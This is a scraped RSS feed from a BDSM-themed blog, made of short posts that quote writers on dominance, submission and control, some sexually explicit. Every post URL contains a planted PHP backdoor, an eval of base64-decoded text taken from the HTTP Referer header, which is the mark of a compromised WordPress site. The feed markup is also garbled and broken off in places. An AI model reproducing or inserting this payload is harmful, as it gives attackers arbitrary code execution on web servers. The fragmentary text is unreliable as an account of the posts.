The Control Enthusiast » Quote: http://www.thecontrolenthusiast.com Sun, 15 Aug 2010 21:28:30 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 a rush, a flush, a thrill http://www.thecontrolenthusiast.com/2009/02/27/a-rush-a-flush-a-thrill/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2009/02/27/a-rush-a-flush-a-thrill/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 27 Feb 2009 23:46:01 +0000 control http://www.thecontrolenthusiast.com/?p=225 “The very act of being sadistic to someone in a BDSM scene often creates feelings in me I can only call love while I’m doing it.”

Another case of someone putting into words something I’ve often felt, in the moment, and yet have not been able to express. Even now, if I was asked to explain it further, I don’t know if I could. I would just point someone to Matisse’s words, to the link above, and let them realize the truth within.

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- General Eric Shinseki

From Constant Siege

]]> http://www.thecontrolenthusiast.com/2008/12/07/commanding-leading/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Quote: http://www.thecontrolenthusiast.com/2008/01/11/quote-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thecontrolenthusiast.com/2008/01/11/quote-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 12 Jan 2008 03:52:17 +0000 control http://www.thecontrolenthusiast.com/?p=50 “I do not want to be the leader. I refuse to be the leader. I want to live darkly and richly in my femaleness. I want a man lying over me, always over me. His will, his pleasure, his desire, his life, his work, his sexuality the touchstone, the command, my pivot. I don’t mind working, holding my ground intellectually, artistically; but as a woman, oh, God, as a woman I want to be dominated. I don’t mind being told to stand on my own feet, not to cling, be all that I am capable of doing, but I am going to be pursued, fucked, possessed by the will of a male at his time, his bidding.”

- Anais Nin

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“Power is not violence in all the forms deployed by the dominant to control the dominated, but consent in all the forms in which the dominated acquiesce in their own domination.” Maurice Godelier

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